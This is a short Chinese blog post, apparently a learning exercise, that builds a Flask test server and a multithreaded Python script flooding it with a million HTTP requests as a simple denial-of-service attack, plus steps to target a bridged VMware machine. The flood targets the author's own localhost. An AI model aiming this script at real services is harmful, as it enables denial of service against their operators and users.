python-简单的dos攻击

结城明日奈是我老婆 2024-09-13 09:35:01 阅读 89

前言

这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)

创建一个以python编写的后端web服务(好观察)

安装<code>flask

pip install flask

from flask import Flask

app = Flask(__name__)

@app.route("/")

def index():

return 'hello world'

if __name__ == '__main__':

app.run(debug=True)

python编写DOS攻击服务

pip install requests

import requests

from requests.exceptions import RequestException

import threading

def requestGetOne():

try:

response = requests.get('http://127.0.0.1:5000', timeout=5)

response.raise_for_status() # 检查响应状态码

print(response.text)

except RequestException as e:

print(f'请求出错: { e}')

def print_numbers():

for i in range(1000):

requestGetOne()

if __name__ == "__main__":

threads = []

for i in range(1000): # 创建1000个线程

thread = threading.Thread(target=print_numbers)

threads.append(thread)

thread.start()

# 等待所有线程结束

for thread in threads:

thread.join()

print("All threads have finished.")

访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)

这只是在本地端进行的DOS,若是有应用程序在VMWare虚拟机上

需要开启桥接模式物理网络连接状态

在这里插入图片描述

这样你的<code>ifconfig才会是

在这里插入图片描述

<code>eth0才会有固定IP我们要在本地计算机ping一下这个IP地址(本机&虚拟机–在同一个网关下)

#ping ip

ping 172.23.233.164

在这里插入图片描述

说明俩者之间有连接

3. 在不同IP中需要进行访问那必然要经历跨域访问(前后端分离也是如此),一般在后端进行跨域访问,但为了学习的方便我们都会让它所有都能访问,后端web就要改成

<code>from flask import Flask

app = Flask(__name__)

@app.route("/")

def index():

return 'hello world'

if __name__ == '__main__':

app.run('0.0.0.0',port=5000)



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。